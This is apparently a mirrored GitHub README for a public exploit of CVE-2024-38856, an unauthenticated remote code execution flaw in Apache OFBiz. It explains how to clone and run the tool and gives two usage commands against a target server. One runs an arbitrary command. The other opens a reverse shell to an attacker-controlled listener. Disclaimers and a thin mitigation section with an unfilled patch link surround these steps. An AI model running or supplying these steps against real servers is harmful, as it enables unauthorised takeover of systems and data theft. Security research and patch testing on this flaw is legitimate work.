CVE-2024-38856 PoC — Apache OFBiz 安全漏洞

Description

Exploit for Apache OFBiz - CVE-2024-38856

介绍

# Apache-OFBiz-Exploit
Exploit for Apache OFBiz (CVE-2024-38856)
By: **Alisson Faoli**

## Description

This repository contains an exploit for the CVE-2024-38856 vulnerability found in Apache OFBiz. The flaw allows Unauthenticated RCE (Remote Code Execution).

Note: This exploit is provided for educational and research purposes only. Misuse may be illegal and is the sole responsibility of the user.

## Vulnerability Details

CVE: **CVE-2024-38856**

Affected Software: Apache OFBiz up to version 18.12.14

Vulnerability Type: RCE

Exploitation: Authentication not required

## References: 

 - https://www.zscaler.com/blogs/security-research/cve-2024-38856-pre-auth-rce-vulnerability-apache-ofbiz
 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-38856
 - https://www.cyfirma.com/research/cve-2024-38856-pre-authentication-remote-code-execution-rce-vulnerability-analysis-and-exploitation/

## Usage

Clone the repository:
```
git clone https://github.com/AlissonFaoli/Apache-OFBiz-Exploit.git
cd Apache-OFBiz-Exploit
```
Install the dependencies:
```
pip install -r requirements.txt
```
Run the exploit:

**RCE**:
```python3 CVE-2024-38856.py cmd -t https://10.150.10.200:8443 "whoami"```

**SHELL**:
```python3 CVE-2024-38856.py shell -t https://10.150.10.200:8443 -l 10.150.10.123 -p 4444```


## Mitigation
To remediate this vulnerability, it is recommended that Apache OFBiz administrators:
Update to the patched version available at [link to fix].
Apply firewall or WAF rules to block known exploitation attempts.

## Contact
If you have any questions or want to report an improvement to the exploit, contact me:
LinkedIn: https://linkedin.com/in/alisson-faoli/

#
#### Legal Disclaimer:
This code is provided solely for educational purposes and security testing in authorized environments. The author is not responsible for any misuse.

文件快照

备注